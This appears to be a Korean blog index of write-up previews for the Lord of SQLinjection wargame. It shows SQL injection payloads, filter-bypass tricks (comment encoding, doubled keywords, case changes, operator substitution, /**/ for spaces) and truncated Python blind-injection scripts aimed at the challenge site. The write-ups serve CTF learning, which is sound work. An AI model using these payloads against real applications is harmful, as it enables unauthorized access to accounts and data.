모의해킹/Lord of SQLinjection (18) 썸네일형 리스트형 skeleton 문제 접근 1. id는 guest 고정, and 1=0이 참이 되어야 하는 거 같음 select id from prob_skeleton where id='guest' and pw='' or id='admin'%23' and 1=0 id를 admin으로 만들기 위해 pw안에 or 연산자를 사용해 admin으로 만들어 주고 %23으로 and 1=0을 주석 처리 해준다. vampire 문제 풀이 1. admin의 문자가 있을 시 공백으로 처리됨 admin의 문자가 공백으로 처리되는 과정이 한 번밖에 안 이루어져 이중으로 작성을 하면 된다. troll 문제 풀이 1. \ , admin 필터링되어 있음 admin으로 로그인을 하기위해 AdmIn으로 우회를 하면 문제가 풀린다(대소문자 우회) orge 문제 풀이 1. 기본 필터링 + or , and 연산자 필터링 되어 있음 2. id값은 guest로 고정되어 있음 3. admin의 pw을 블라인드 인젝션으로 구해야 함 필터링을 우회하는 쿼리문을 만들어서 응답 값이 admin이 나오는지 확인 admin의 pw 길이 구하기 # 패스워드 길이 구하는 페이로드 import requests url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?' cookie = {"PHPSESSID":"gfat9jgv8umb9sviam5cmjka0b"} for i in range(1,100): params = "pw='|| id='admin'%26%26 length(pw)='"+str(i) r.. darkelf 문제 풀이 1. 기본 필터링 + or , and 가 필터링 되어 있음 2. id 값이 guest로 고정 or 연산자를 || 으로 우회를 하고 and 연산자는 URL 인코딩(%26%26)으로 우회 wolfman 문제 풀이 1. _. () 공백 필터링 되어 있음 2. id 값이 guest로 고정되어 있음 공백 처리를 /**/ 을 대신 사용함, id 값을 뒤에서 지정을 해줌 orc * addslashes() 함수 : 데이터베이스의 질의에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환한다. 1. 실행이 안되는 거 확인 # 을 평문으로 입력 했을 때, 주석 처리가 안된다. -> %23으로 인코딩해서 보내면 주석으로 인식됨(URL 인코딩) 2. admin의 pw 을 찾아야 한다.(페이로드 작성) 2.1 해당 url이 정상적으로 작동되는지 확인 import requests #모듈 # 해당 url 주소 url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' # cookie 값 설정 cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'} # response 값.. goblin admin으로 로그인을 해야 하며, ' " ₩ 가 필터링 되어 있다. no = 1을 입력을 하면 Hello guest 가 출력이 된다. 즉 데이터가 1 은 guest이고 다른 숫자는 admin인 거 같다. ( 0 아니면 2...?) select id from prob_goblin where id='guest' and no=0 or no=2 을 하였을 때, 문제가 풀린다. 이전 1 2 3 다음